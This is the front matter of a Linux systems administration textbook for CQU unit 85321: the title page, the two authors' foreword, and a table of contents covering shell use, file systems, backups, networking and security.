An Introduction to Linux Systems

Administration
Third Edition

Title:
(penguin.eps)
Creator:
Adobe Illustrator(TM) 3.2
Preview:
This EPS picture was not saved
with a preview included in it.
Comment:

David Jones
This EPS picture will print to a
PostScript printer, but not to
other types of printers.

Bruce

Jamieson
 Forward
This text is the third of a series of books which have been written for the CQU subject
85321, Systems Administration. This is the first version which CQU has printed and
distributed to students and also is the first version which has concentrated solely on
Linux. More information about the unit 85321 is available on the unit Web site,
http://infocom.cqu.edu.au/85321/
The following is a bit of personal blurb from each of the authors of this text.

David Jones
Writing a book, even one as rough around the edges as this one, is a difficult,
frustrating, complex and lengthy task. During the creation of this book a number of
people helped me keep my sanity while others contributed to the book itself. The
people who kept me sane are too many to mention. The contributors include Bruce
Jamieson, who wrote a number of the chapters and offered useful and thoughtfull
insights, and Elizabeth Tansley and Kylie Jones who helped proof the book. As you
should be able to tell by now neither Elizabeth or Kylie proofed this forward.
One thing to come out of writing this text is a reinforcement of my hatred of Microsoft
software, in particular Word for Windows.

Bruce Jamieson
It is traditional for the forward to contain thank-yous and pearls of wisdom. It is
because of this that people don't read forwards. However, in keeping with tradition, I
will do both.
Thanks to Tabby, my cat, who has been consistently neurotic since I started working
on this project, mainly due to my weekend absences disrupting her feeding times.
Thanks also to the guppies whose lives were lost supplementing the aforementioned
cat's diet over this period.
I'd like to make one serious comment: when I began working with UNIX, I hated it.
The reason why I hated it was that I didn't understand it. Its obscure complexities and
(for the want of a better word) "different ness" initially made it hard to learn and
understand. It is for the same reasons that I now love working with UNIX systems - I
hope this material will inspire you to feel the same way.

David Jones and Bruce Jamieson (20/02/25) Page 2

 85321, Systems Administration Table of Contents

Table of Contents
FORWARD...............................................................................................................................................2
DAVID JONES.........................................................................................................................................2
BRUCE JAMIESON..................................................................................................................................2
TABLE OF CONTENTS.........................................................................................................................3

CHAPTER 1 THE WHAT, WHY AND HOW OF SYS ADMIN......................................................16

INTRODUCTION....................................................................................................................................16
WHAT SYSTEMS ADMINISTRATORS DO................................................................................................16
USERS..................................................................................................................................................17
HARDWARE/SOFTWARE........................................................................................................................18
SUPPORT..............................................................................................................................................18
WHAT SYSTEMS ADMINISTRATORS NEED TO KNOW............................................................................19
WHY UNIX?........................................................................................................................................20
UNIX PAST, PRESENT AND FUTURE.....................................................................................................20
LINUX..................................................................................................................................................21
SOME MORE SYS ADMIN THEORY........................................................................................................21
DAILY OPERATIONS..............................................................................................................................21
AUTOMATE, AUTOMATE AND AUTOMATE.............................................................................................22
SYSTEM MONITORING..........................................................................................................................22
HARDWARE AND SOFTWARE................................................................................................................23
EVALUATION........................................................................................................................................24
PURCHASE............................................................................................................................................24
INSTALLATION......................................................................................................................................24
HARDWARE..........................................................................................................................................24
ADMINISTRATION AND PLANNING.......................................................................................................25
DOCUMENTATION.................................................................................................................................26
POLICY.................................................................................................................................................28
PENALTIES...........................................................................................................................................28
TYPES OF POLICY................................................................................................................................29
CREATING POLICY................................................................................................................................29
CODE OF ETHICS..................................................................................................................................29
SAGE-AU CODE OF ETHICS................................................................................................................29
SAGE-AU CODE OF ETHICS................................................................................................................30
PEOPLE SKILLS.....................................................................................................................................31
COMMUNICATING WITH USERS............................................................................................................31
HOW NOT TO COMMUNICATE WITH USERS...........................................................................................34
CONCLUSIONS......................................................................................................................................35
CHAPTER 2 INFORMATION SOURCES........................................................................................36
INTRODUCTION....................................................................................................................................36
PROFESSIONAL ORGANISATIONS..........................................................................................................36
OTHER ORGANISATIONS.......................................................................................................................37
THE SAGE GROUPS.............................................................................................................................37
THE ACS.............................................................................................................................................37
UNIX USER GROUPS...........................................................................................................................37
USEFUL BOOKS AND MAGAZINES........................................................................................................38
BIBLIOGRAPHIES..................................................................................................................................38
MAGAZINES.........................................................................................................................................39

David Jones and Bruce Jamieson (20/02/25) Page 3

 85321, Systems Administration Table of Contents

INTERNET RESOURCES.........................................................................................................................39
HOW TO USE THE INTERNET................................................................................................................39
SOFTWARE ON THE INTERNET..............................................................................................................39
DISCUSSION FORUMS...........................................................................................................................40
USENET NEWS......................................................................................................................................40
USEFUL NEWSGROUPS.........................................................................................................................40
MAILING LISTS.....................................................................................................................................41
OTHER DISCUSSION FORUMS..............................................................................................................41
INFORMATION......................................................................................................................................41
WORLD-WIDE WEB.............................................................................................................................41
ANONYMOUS FTP...............................................................................................................................42
INTERNET BASED LINUX RESOURCES..................................................................................................42
THE LINUX DOCUMENTATION PROJECT...............................................................................................42
REDHAT...............................................................................................................................................42
CONCLUSIONS......................................................................................................................................43
REVIEW QUESTIONS............................................................................................................................43
CHAPTER 3 USING UNIX..................................................................................................................44
INTRODUCTION....................................................................................................................................44
INTRODUCTORY UNIX........................................................................................................................44
UNIX COMMANDS ARE PROGRAMS....................................................................................................45
VI.........................................................................................................................................................45
AN INTRODUCTION TO VI....................................................................................................................45
UNIX COMMANDS...............................................................................................................................46
PHILOSOPHY OF UNIX COMMANDS....................................................................................................46
UNIX COMMAND FORMAT...................................................................................................................46
A COMMAND FOR EVERYTHING...........................................................................................................47
ONLINE HELP.......................................................................................................................................48
USING THE MANUAL PAGES.................................................................................................................48
IS THERE A MAN PAGE FOR..................................................................................................................48
MAN PAGE FORMAT..............................................................................................................................49
SOME UNIX COMMANDS.....................................................................................................................49
IDENTIFICATION COMMANDS...............................................................................................................50
SIMPLE COMMANDS.............................................................................................................................51
FILTERS................................................................................................................................................51
UNIQ.....................................................................................................................................................53
TR.........................................................................................................................................................53
CUT.......................................................................................................................................................54
PASTE...................................................................................................................................................54
GREP.....................................................................................................................................................55
WC.........................................................................................................................................................55
GETTING MORE OUT OF FILTERS..........................................................................................................56
CONCLUSIONS......................................................................................................................................56
CHAPTER 4 THE FILE HIERARCHY............................................................................................57
INTRODUCTION....................................................................................................................................57
WHY?...................................................................................................................................................57
THE IMPORTANT SECTIONS..................................................................................................................58
THE ROOT OF THE PROBLEM................................................................................................................58
HOMES FOR USERS...............................................................................................................................59
EVERY USER NEEDS A HOME...............................................................................................................59
OTHER HOMES?...................................................................................................................................60

David Jones and Bruce Jamieson (20/02/25) Page 4

 85321, Systems Administration Table of Contents

/USR AND /VAR...................................................................................................................................60

AND THE DIFFERENCE IS......................................................................................................................60
/USR/LOCAL.........................................................................................................................................61
LIB, INCLUDE AND SRC.........................................................................................................................62
/VAR/SPOOL.........................................................................................................................................62
X WINDOWS........................................................................................................................................63
BINS.....................................................................................................................................................63
WHICH BIN?.........................................................................................................................................63
/BIN.....................................................................................................................................................64
/SBIN...................................................................................................................................................64
/USR/BIN............................................................................................................................................65
/USR/LOCAL/BIN................................................................................................................................65
CONFIGURATION FILES, LOGS AND OTHER BITS!.................................................................................65
ETC ETC ETC.........................................................................................................................................65
LOGS....................................................................................................................................................66
/PROC...................................................................................................................................................66
/DEV.....................................................................................................................................................66
CONCLUSION........................................................................................................................................66
FUTURE STANDARDS............................................................................................................................66
REVIEW QUESTIONS............................................................................................................................67
4.1........................................................................................................................................................67
4.2........................................................................................................................................................67
4.3........................................................................................................................................................67
CHAPTER 5 PROCESSES AND FILES.............................................................................................68
INTRODUCTION....................................................................................................................................68
MULTIPLE USERS.................................................................................................................................68
IDENTIFYING USERS.............................................................................................................................68
USERS AND GROUPS.............................................................................................................................69
NAMES AND NUMBERS........................................................................................................................69
ID.........................................................................................................................................................69
COMMANDS AND PROCESSES...............................................................................................................70
WHERE ARE THE COMMANDS?............................................................................................................70
WHICH...................................................................................................................................................70
WHEN IS A COMMAND NOT A COMMAND?..........................................................................................70
CONTROLLING PROCESSES...................................................................................................................71
PROCESS ATTRIBUTES..........................................................................................................................71
PARENT PROCESSES.............................................................................................................................71
PROCESS UID AND GID......................................................................................................................72
REAL UID AND GID............................................................................................................................72
EFFECTIVE UID AND GID...................................................................................................................72
FILES....................................................................................................................................................73
FILE TYPES...........................................................................................................................................73
TYPES OF NORMAL FILES.....................................................................................................................73
FILE ATTRIBUTES.................................................................................................................................74
VIEWING FILE ATTRIBUTES..................................................................................................................74
FILE PROTECTION.................................................................................................................................76
FILE OPERATIONS.................................................................................................................................76
USERS, GROUPS AND OTHERS..............................................................................................................77
THREE SETS OF FILE PERMISSIONS.......................................................................................................77
SPECIAL PERMISSIONS.........................................................................................................................78
CHANGING PASSWORDS.......................................................................................................................79

David Jones and Bruce Jamieson (20/02/25) Page 5

 85321, Systems Administration Table of Contents

NUMERIC PERMISSIONS........................................................................................................................80
SYMBOLIC TO NUMERIC.......................................................................................................................81
EXERCISES...........................................................................................................................................81
CHANGING FILE PERMISSIONS..............................................................................................................82
CHANGING PERMISSIONS.....................................................................................................................82
CHANGING OWNERS.............................................................................................................................83
CHANGING GROUPS.............................................................................................................................83
THE COMMANDS..................................................................................................................................84
DEFAULT PERMISSIONS........................................................................................................................85
FILE PERMISSIONS AND DIRECTORIES..................................................................................................86
FOR EXAMPLE......................................................................................................................................86
WHAT HAPPENS IF?..............................................................................................................................87
LINKS...................................................................................................................................................87
SEARCHING THE FILE HIERARCHY.......................................................................................................88
THE FIND COMMAND...........................................................................................................................88
EXERCISES...........................................................................................................................................92
PERFORMING COMMANDS ON MANY FILES..........................................................................................93
FIND AND -EXEC..................................................................................................................................93
FIND AND BACK QUOTES......................................................................................................................94
FIND AND XARGS..................................................................................................................................94
CONCLUSION........................................................................................................................................95
REVIEW QUESTIONS............................................................................................................................96
CHAPTER 6 THE SHELL..................................................................................................................98
INTRODUCTION....................................................................................................................................98
EXECUTING COMMANDS......................................................................................................................98
DIFFERENT SHELLS..............................................................................................................................99
STARTING A SHELL...............................................................................................................................99
PARSING THE COMMAND LINE...........................................................................................................100
THE COMMAND LINE.........................................................................................................................101
ARGUMENTS......................................................................................................................................101
ONE COMMAND TO A LINE.................................................................................................................102
COMMANDS IN THE BACKGROUND....................................................................................................103
FILENAME SUBSTITUTION..................................................................................................................103
EXERCISES.........................................................................................................................................105
REMOVING SPECIAL MEANING...........................................................................................................105
INPUT/OUTPUT REDIRECTION.............................................................................................................107
HOW IT WORKS..................................................................................................................................107
FILE DESCRIPTORS.............................................................................................................................108
STANDARD FILE DESCRIPTORS...........................................................................................................108
CHANGING DIRECTION.......................................................................................................................108
USING STANDARD I/O........................................................................................................................109
FILTERS..............................................................................................................................................109
I/O REDIRECTION EXAMPLES.............................................................................................................110
REDIRECTING STANDARD ERROR.......................................................................................................110
EVALUATING FROM LEFT TO RIGHT....................................................................................................111
EVERYTHING IS A FILE.......................................................................................................................112
TTY.....................................................................................................................................................112
DEVICE FILES.....................................................................................................................................113
REDIRECTING I/O TO DEVICE FILES...................................................................................................113
SHELL VARIABLES..............................................................................................................................114
ENVIRONMENT CONTROL...................................................................................................................114

David Jones and Bruce Jamieson (20/02/25) Page 6

 85321, Systems Administration Table of Contents

THE SET COMMAND...........................................................................................................................115

USING SHELL VARIABLES...................................................................................................................115
ASSIGNING A VALUE..........................................................................................................................115
ACCESSING A VARIABLE'S VALUE......................................................................................................115
UNINITIALISED VARIABLES................................................................................................................116
RESETTING A VARIABLE.....................................................................................................................116
THE READONLY COMMAND..................................................................................................................116
THE UNSET COMMAND.......................................................................................................................116
ARITHMETIC.......................................................................................................................................117
THE EXPR COMMAND.........................................................................................................................117
VALID VARIABLE NAMES...................................................................................................................118
{}.......................................................................................................................................................118
ENVIRONMENT CONTROL...................................................................................................................118
PS1 AND PS2...................................................................................................................................119
BASH EXTENSIONS..............................................................................................................................119
VARIABLES AND SUB-SHELLS............................................................................................................119
FOR EXAMPLE....................................................................................................................................120
EXPORT...............................................................................................................................................120
LOCAL VARIABLES.............................................................................................................................120
ADVANCED VARIABLE SUBSTITUTION................................................................................................121
EVALUATION ORDER..........................................................................................................................122
WHY ORDER IS IMPORTANT...............................................................................................................122
THE ORDER........................................................................................................................................122
THE EVAL COMMAND.........................................................................................................................123
DOING IT TWICE.................................................................................................................................123
CONCLUSION......................................................................................................................................123
REVIEW QUESTIONS..........................................................................................................................124
CHAPTER 7 TEXT MANIPULATION...........................................................................................126
INTRODUCTION..................................................................................................................................126
REGULAR EXPRESSIONS.....................................................................................................................126
RES VERSUS FILENAME SUBSTITUTION.............................................................................................127
HOW THEY WORK..............................................................................................................................128
EXTENSIONS TO REGULAR EXPRESSIONS...........................................................................................128
EXAMPLES.........................................................................................................................................129
EXERCISES.........................................................................................................................................129
TAGGING............................................................................................................................................130
FOR EXAMPLE....................................................................................................................................130
EXERCISES.........................................................................................................................................131
EX, ED, SED AND VI..........................................................................................................................131
SO???.................................................................................................................................................131
WHY USE ED?.....................................................................................................................................131
ED COMMANDS...................................................................................................................................132
FOR EXAMPLE....................................................................................................................................134
THE SED COMMAND...........................................................................................................................135
SED COMMAND FORMAT.....................................................................................................................135
CONCLUSIONS....................................................................................................................................136
REVIEW QUESTIONS..........................................................................................................................137
CHAPTER 8 SHELL PROGRAMMING.........................................................................................139
INTRODUCTION..................................................................................................................................139
SHELL PROGRAMMING - WHY?........................................................................................................139

David Jones and Bruce Jamieson (20/02/25) Page 7

 85321, Systems Administration Table of Contents

SHELL PROGRAMMING - WHAT?......................................................................................................139

SHELL PROGRAMMING - HOW?........................................................................................................140
THE BASICS.......................................................................................................................................140
A BASIC PROGRAM............................................................................................................................140
AN EXPLANATION OF THE PROGRAM................................................................................................142
ALL YOU EVER WANTED TO KNOW ABOUT VARIABLES..................................................................143
WHY?.................................................................................................................................................144
PREDEFINED VARIABLES...................................................................................................................144
PARAMETERS - SPECIAL SHELL VARIABLES.....................................................................................145
ONLY NINE PARAMETERS?................................................................................................................147
EXERCISE...........................................................................................................................................147
THE DIFFERENCE BETWEEN $* AND $@............................................................................................148
THE BASICS OF INPUT/OUTPUT (IO)...................................................................................................148
AND NOW FOR THE HARD BITS..........................................................................................................150
SCENARIO..........................................................................................................................................150
IF ... THEN ... MAYBE?........................................................................................................................151
TESTING TESTING..............................................................................................................................153
EXPRESSIONS, EXPRESSIONS!.............................................................................................................154
EXERCISE...........................................................................................................................................155
ALL ABOUT CASE...............................................................................................................................155
LOOPS AND REPEATED ACTION COMMANDS.....................................................................................156
WHILE.................................................................................................................................................157
FOR.....................................................................................................................................................158
UNTIL.................................................................................................................................................159
BREAK AND CONTINUE.........................................................................................................................160
REDIRECTION.....................................................................................................................................161
NOW FOR THE REALLY HARD BITS.....................................................................................................161
FUNCTIONAL FUNCTIONS..................................................................................................................161
LOCAL.................................................................................................................................................162
THE RETURN TRIP................................................................................................................................163
RECURSION: (SEE "RECURSION").......................................................................................................163
WAIT'ING AND TRAP'ING......................................................................................................................164
BUGS AND DEBUGGING.....................................................................................................................168
METHOD 1 - SET................................................................................................................................168
METHOD 2 - ECHO..............................................................................................................................169
VERY COMMON MISTAKES................................................................................................................169
AND NOW FOR THE REALLY REALLY HARD BITS...............................................................................169
WRITING GOOD SHELL PROGRAMS....................................................................................................169
EVAL THE WONDERFUL!.....................................................................................................................171
STEP-BY-STEP....................................................................................................................................173
THE PROBLEM....................................................................................................................................173
SOLVING THE PROBLEM.....................................................................................................................175
THE FINAL PROGRAM - A LISTING......................................................................................................183
FINAL NOTES......................................................................................................................................185
REVIEW QUESTIONS..........................................................................................................................186
SOURCE OF SCANIT............................................................................................................................187

CHAPTER 9 USERS...........................................................................................................................190
INTRODUCTION..................................................................................................................................190
WHAT IS A UNIX ACCOUNT?............................................................................................................190
LOGIN NAMES....................................................................................................................................190

David Jones and Bruce Jamieson (20/02/25) Page 8

 85321, Systems Administration Table of Contents

PASSWORDS.......................................................................................................................................192
THE UID............................................................................................................................................193
HOME DIRECTORIES...........................................................................................................................193
LOGIN SHELL.....................................................................................................................................194
DOT FILES..........................................................................................................................................194
SKELETON DIRECTORIES....................................................................................................................195
THE MAIL FILE...................................................................................................................................195
MAIL ALIASES....................................................................................................................................196
ACCOUNT CONFIGURATION FILES......................................................................................................197
/ETC/PASSWD.....................................................................................................................................198
EVERYONE CAN READ /ETC/PASSWD.................................................................................................198
THIS IS A PROBLEM............................................................................................................................198
PASSWORD MATCHING.......................................................................................................................199
THE SOLUTION...................................................................................................................................199
SHADOW FILE FORMAT......................................................................................................................199
GROUPS.............................................................................................................................................200
/ETC/GROUP.......................................................................................................................................200
SPECIAL ACCOUNTS...........................................................................................................................201
ROOT...................................................................................................................................................201
RESTRICTED ACTIONS........................................................................................................................201
BE CAREFUL......................................................................................................................................202
THE MECHANICS................................................................................................................................202
OTHER CONSIDERATIONS...................................................................................................................202
PRE-REQUISITE INFORMATION...........................................................................................................202
ADDING AN /ETC/PASSWD ENTRY.....................................................................................................203
THE INITIAL PASSWORD.....................................................................................................................203
/ETC/GROUP ENTRY...........................................................................................................................203
THE HOME DIRECTORY......................................................................................................................204
THE STARTUP FILES............................................................................................................................204
SETTING UP MAIL...............................................................................................................................204
TESTING AN ACCOUNT.......................................................................................................................205
INFORM THE USER..............................................................................................................................206
REMOVING AN ACCOUNT...................................................................................................................207
DISABLING AN ACCOUNT...................................................................................................................207
THE GOALS OF ACCOUNT CREATION................................................................................................208
MAKING IT SIMPLE............................................................................................................................208
USERADD.............................................................................................................................................208
USERDEL AND USERMOD.......................................................................................................................209
GRAPHICAL TOOLS............................................................................................................................209
AUTOMATION.....................................................................................................................................210
GATHERING THE INFORMATION..........................................................................................................211
POLICY...............................................................................................................................................211
CREATING THE ACCOUNTS.................................................................................................................211
ADDITIONAL STEPS............................................................................................................................212
CHANGING PASSWORDS WITHOUT INTERACTION...............................................................................212
DELEGATION......................................................................................................................................212
ALLOCATING ROOT PRIVILEGE...........................................................................................................213
SUDO...................................................................................................................................................213
SUDO ADVANTAGES.............................................................................................................................214
EXERCISES.........................................................................................................................................214
CONCLUSIONS....................................................................................................................................215
REVIEW QUESTIONS..........................................................................................................................215

David Jones and Bruce Jamieson (20/02/25) Page 9

 85321, Systems Administration Table of Contents

CHAPTER 10 MANAGING FILE SYSTEMS.................................................................................217

INTRODUCTION..................................................................................................................................217
WHAT?...............................................................................................................................................217
WHY?.................................................................................................................................................217
A SCENARIO.......................................................................................................................................218
DEVICES - GATEWAYS TO THE KERNEL..............................................................................................218
A DEVICE IS.......................................................................................................................................218
DEVICE FILES ARE.............................................................................................................................218
DEVICE DRIVERS ARE........................................................................................................................218
/DEV...................................................................................................................................................219
PHYSICAL CHARACTERISTICS OF DEVICE FILES.................................................................................221
MAJOR AND MINOR DEVICE NUMBERS ARE.......................................................................................221
WHY USE DEVICE FILES?...................................................................................................................222
CREATING DEVICE FILES....................................................................................................................222
THE USE AND ABUSE OF DEVICE FILES..............................................................................................223
DEVICES, PARTITIONS AND FILE SYSTEMS........................................................................................225
DEVICE FILES AND PARTITIONS..........................................................................................................225
PARTITIONS AND FILE SYSTEMS.........................................................................................................226
PARTITIONS AND BLOCKS..................................................................................................................227
USING THE PARTITIONS......................................................................................................................227
THE VIRTUAL FILE SYSTEM..............................................................................................................228
DIVIDING UP THE FILE HIERARCHY - WHY?.......................................................................................229
SCENARIO UPDATE............................................................................................................................230
THE LINUX NATIVE FILE SYSTEM - EXT2..........................................................................................230
OVERVIEW.........................................................................................................................................230
I-NODES.............................................................................................................................................230
PHYSICAL STRUCTURE AND FEATURES.............................................................................................232
CREATING FILE SYSTEMS...................................................................................................................233
MKFS..................................................................................................................................................233
SCENARIO UPDATE............................................................................................................................233
MOUNTING AND UN-MOUNTING PARTITIONS AND DEVICES............................................................234
MOUNT..............................................................................................................................................234
MOUNTING WITH THE /ETC/FSTAB FILE...........................................................................................235
SCENARIO UPDATE............................................................................................................................236
FILE OPERATIONS..............................................................................................................................237
CREATING A FILE...............................................................................................................................237
LINKING FILES...................................................................................................................................237
LN.......................................................................................................................................................238
CHECKING THE FILE SYSTEM.............................................................................................................239
WHY ME?..........................................................................................................................................239
WHAT TO DO......................................................................................................................................239
FSCK...................................................................................................................................................240
USING FSCK........................................................................................................................................240
WHAT CAUSED THE PROBLEM?..........................................................................................................240
CONCLUSION......................................................................................................................................241
REVIEW QUESTIONS...........................................................................................................................241
CHAPTER 11 BACKUPS..................................................................................................................243
INTRODUCTION..................................................................................................................................243
IT ISN'T JUST USERS WHO ACCIDENTALLY DELETE FILES...................................................................243
CHARACTERISTICS OF A GOOD BACKUP STRATEGY...........................................................................243
EASE OF USE......................................................................................................................................244

David Jones and Bruce Jamieson (20/02/25) Page 10

 85321, Systems Administration Table of Contents

TIME EFFICIENCY...............................................................................................................................244
EASE OF RESTORING FILES.................................................................................................................244
ABILITY TO VERIFY BACKUPS............................................................................................................245
TOLERANCE OF FAULTY MEDIA..........................................................................................................245
PORTABILTY TO A RANGE OF PLATFORMS..........................................................................................246
CONSIDERATIONS FOR A BACKUP STRATEGY.....................................................................................246
THE COMPONENTS OF BACKUPS........................................................................................................246
SCHEDULER.......................................................................................................................................247
TRANSPORT........................................................................................................................................247
MEDIA...............................................................................................................................................248
COMMANDS.......................................................................................................................................248
DUMP AND RESTORE.............................................................................................................................249
USING DUMP AND RESTORE WITHOUT A TAPE.....................................................................................251
OUR PRACTICE FILE SYSTEM..............................................................................................................251
DOING A LEVEL 0 DUMP....................................................................................................................252
RESTORING THE BACKUP...................................................................................................................252
ALTERNATIVE.....................................................................................................................................253
THE TAR COMMAND...........................................................................................................................253
THE DD COMMAND.............................................................................................................................255
THE MT COMMAND.............................................................................................................................256
COMPRESSION PROGRAMS.................................................................................................................257
GZIP...................................................................................................................................................258
CONCLUSIONS....................................................................................................................................258
REVIEW QUESTIONS...........................................................................................................................258
CHAPTER 12 STARTUP AND SHUTDOWN.................................................................................260
INTRODUCTION..................................................................................................................................260
A BOOTING OVERVIEW.......................................................................................................................260
FINDING THE KERNEL........................................................................................................................261
ROM..................................................................................................................................................261
THE BOOTSTRAP PROGRAM................................................................................................................261
BOOTING ON A PC.............................................................................................................................262
ON THE FLOPPY.................................................................................................................................262
MAKING A BOOT DISK.......................................................................................................................262
USING A BOOT LOADER.....................................................................................................................263
STARTING THE KERNEL......................................................................................................................263
KERNEL BOOT MESSAGES..................................................................................................................264
STARTING THE PROCESSES.................................................................................................................265
RUN LEVELS.......................................................................................................................................265
/ETC/INITTAB...................................................................................................................................266
SYSTEM CONFIGURATION..................................................................................................................269
TERMINAL LOGINS.............................................................................................................................270
STARTUP SCRIPTS...............................................................................................................................270
THE LINUX PROCESS.........................................................................................................................271
WHY WON'T IT BOOT?.......................................................................................................................273
SOLUTIONS........................................................................................................................................273
BOOT AND ROOT DISKS......................................................................................................................273
MAKING A BOOT AND ROOT DISK......................................................................................................274
USING BOOT AND ROOT.....................................................................................................................275
SOLUTIONS TO HARDWARE PROBLEMS..............................................................................................276
DAMAGED FILE SYSTEMS...................................................................................................................276
IMPROPERLY CONFIGURED KERNELS.................................................................................................276

David Jones and Bruce Jamieson (20/02/25) Page 11

 85321, Systems Administration Table of Contents

SHUTTING DOWN...............................................................................................................................277
REASONS SHUTTING DOWN...............................................................................................................277
BEING NICE TO THE USERS.................................................................................................................278
COMMANDS TO SHUTDOWN...............................................................................................................278
SHUTDOWN...........................................................................................................................................279
WHAT HAPPENS...................................................................................................................................279
THE OTHER COMMANDS....................................................................................................................280
CONCLUSIONS....................................................................................................................................280
REVIEW QUESTIONS..........................................................................................................................280
CHAPTER 13 KERNEL....................................................................................................................281
THE BIT OF THE NUT THAT YOU EAT?................................................................................................281
WHY?.................................................................................................................................................281
HOW?.................................................................................................................................................282
THE LIFELESS IMAGE.........................................................................................................................282
KERNEL GIZZARDS.............................................................................................................................283
THE FIRST INCISION...........................................................................................................................284
MAKING THE HEART BEAT.................................................................................................................285
MODULES...........................................................................................................................................286
THE /PROC FILE SYSTEM....................................................................................................................287
REALLY, WHY BOTHER?.....................................................................................................................288
CONCLUSIONS....................................................................................................................................301
REVIEW QUESTIONS..........................................................................................................................301
CHAPTER 14 OBSERVATION, AUTOMATION AND LOGGING............................................302
INTRODUCTION..................................................................................................................................302
AUTOMATION AND CRON....................................................................................................................302
COMPONENTS OF CRON.......................................................................................................................302
CRONTAB FORMAT...............................................................................................................................303
CREATING CRONTAB FILES..................................................................................................................304
WHAT'S GOING ON.............................................................................................................................305
DF.......................................................................................................................................................305
DU.......................................................................................................................................................306
SYSTEM STATUS.................................................................................................................................306
WHAT'S HAPPENED?...........................................................................................................................310
LOGGING AND ACCOUNTING..............................................................................................................310
MANAGING LOG AND ACCOUNTING FILES.........................................................................................310
CENTRALISE.......................................................................................................................................310
LOGGING............................................................................................................................................311
SYSLOG...............................................................................................................................................311
ACCOUNTING.....................................................................................................................................315
LOGIN ACCOUNTING..........................................................................................................................315
LAST...................................................................................................................................................315
AC.......................................................................................................................................................315
PROCESS ACCOUNTING......................................................................................................................316
SO WHAT?..........................................................................................................................................317
CONCLUSIONS....................................................................................................................................317
REVIEW QUESTIONS..........................................................................................................................318
CHAPTER 15 NETWORKS: THE CONNECTION......................................................................320
INTRODUCTION..................................................................................................................................320
RELATED MATERIAL..........................................................................................................................321

David Jones and Bruce Jamieson (20/02/25) Page 12

 85321, Systems Administration Table of Contents

NETWORK HARDWARE......................................................................................................................321
NETWORK DEVICES............................................................................................................................322
ETHERNET..........................................................................................................................................324
CONVERTING HARDWARE ADDRESSES TO INTERNET ADDRESSES......................................................324
SLIP, PPP AND POINT TO POINT........................................................................................................326
KERNEL SUPPORT FOR NETWORKING.................................................................................................326
TCP/IP BASICS..................................................................................................................................328
HOSTNAMES.......................................................................................................................................328
HOSTNAME...........................................................................................................................................329
QUALIFIED NAMES.............................................................................................................................330
IP/INTERNET ADDRESSES..................................................................................................................330
THE INTERNET IS A NETWORK OF NETWORKS...................................................................................332
EXERCISES.........................................................................................................................................335
NAME RESOLUTION............................................................................................................................336
ROUTING............................................................................................................................................339
EXERCISES.........................................................................................................................................340
MAKING THE CONNECTION................................................................................................................340
CONFIGURING THE DEVICE/INTERFACE..............................................................................................340
CONFIGURING THE NAME RESOLVER.................................................................................................341
CONFIGURING ROUTING.....................................................................................................................343
STARTUP FILES...................................................................................................................................346
NETWORK “MANAGEMENT” TOOLS...................................................................................................346
REDHAT GUI NETWORKING TOOLS..................................................................................................347
NSLOOKUP...........................................................................................................................................347
NETSTAT.............................................................................................................................................348
TRACEROUTE.......................................................................................................................................348
CONCLUSIONS....................................................................................................................................350
REVIEW QUESTIONS..........................................................................................................................350
CHAPTER 16 NETWORK APPLICATIONS.................................................................................353
INTRODUCTION..................................................................................................................................353
HOW IT ALL WORKS...........................................................................................................................353
PORTS................................................................................................................................................354
RESERVED PORTS...............................................................................................................................354
LOOK AT PORTS, NETSTAT..................................................................................................................355
NETWORK SERVERS...........................................................................................................................356
HOW NETWORK SERVERS START........................................................................................................356
/ETC/INETD.CONF............................................................................................................................357
HOW IT WORKS..................................................................................................................................357
EXERCISES.........................................................................................................................................358
NETWORK CLIENTS............................................................................................................................358
THE TELNET CLIENT...........................................................................................................................358
NETWORK PROTOCOLS.......................................................................................................................359
REQUEST FOR COMMENT (RFCS)......................................................................................................359
TEXT BASED PROTOCOLS...................................................................................................................359
HOW IT WORKS..................................................................................................................................360
EXERCISES.........................................................................................................................................361
SECURITY...........................................................................................................................................361
TCPWRAPPERS/TCPD........................................................................................................................361
THE DIFFERENCE................................................................................................................................362
WHAT'S AN INTRANET?......................................................................................................................364
SERVICES ON AN INTRANET...............................................................................................................364

David Jones and Bruce Jamieson (20/02/25) Page 13

 85321, Systems Administration Table of Contents

FILE AND PRINT SHARING..................................................................................................................364

SAMBA...............................................................................................................................................365
EXERCISES.........................................................................................................................................367
EMAIL................................................................................................................................................367
EMAIL COMPONENTS.........................................................................................................................367
EMAIL PROTOCOLS............................................................................................................................368
EXERCISES.........................................................................................................................................370
WORLD-WIDE WEB...........................................................................................................................370
CONCLUSIONS....................................................................................................................................370
REVIEW QUESTIONS..........................................................................................................................371

David Jones and Bruce Jamieson (20/02/25) Page 14

 85321, Systems Administration Table of Contents

CHAPTER 17 SECURITY................................................................................................................373
INTRODUCTION..................................................................................................................................373
WHY HAVE SECURITY?......................................................................................................................374
BEFORE YOU START...........................................................................................................................375
SECURITY VERSUS CONVENIENCE......................................................................................................375
A SECURITY POLICY...........................................................................................................................375
AUSCERT POLICY DEVELOPMENT...................................................................................................376
EVALUATING SECURITY.....................................................................................................................376
TYPES OF SECURITY THREATS............................................................................................................376
PHYSICAL THREATS............................................................................................................................376
LOGICAL THREATS.............................................................................................................................377
HOW TO BREAK IN.............................................................................................................................377
SOCIAL ENGINEERING........................................................................................................................378
BREAKING INTO A SYSTEM................................................................................................................378
INFORMATION ABOUT CRACKING.......................................................................................................379
PROBLEMS.........................................................................................................................................379
PASSWORDS.......................................................................................................................................379
PROBLEMS WITH /ETC/PASSWD.........................................................................................................380
SEARCH PATHS...................................................................................................................................381
FULL PATH NAMES.............................................................................................................................382
THE FILE SYSTEM...............................................................................................................................383
NETWORKS........................................................................................................................................384
TOOLS TO EVALUATE SECURITY........................................................................................................385
PROBLEMS WITH THE TOOLS?............................................................................................................385
COPS.................................................................................................................................................385
CRACK...............................................................................................................................................386
SATAN................................................................................................................................................386
REMEDY AND IMPLEMENT.................................................................................................................387
IMPROVING PASSWORD SECURITY......................................................................................................387
USER EDUCATION...............................................................................................................................387
SHADOW PASSWORDS........................................................................................................................388
PROACTIVE PASSWD............................................................................................................................388
PASSWORD GENERATORS...................................................................................................................388
PASSWORD AGING..............................................................................................................................389
PASSWORD CRACKING.......................................................................................................................389
ONE-TIME PASSWORDS......................................................................................................................389
HOW TO REMEMBER THEM................................................................................................................390
SOLUTIONS TO PACKET SNIFFING.......................................................................................................390
FILE PERMISSIONS..............................................................................................................................391
PROGRAMS TO CHECK........................................................................................................................392
TRIPWIRE...........................................................................................................................................392
DISK QUOTAS.....................................................................................................................................392
FOR EXAMPLE....................................................................................................................................393
DISK QUOTAS: HOW THEY WORK.......................................................................................................393
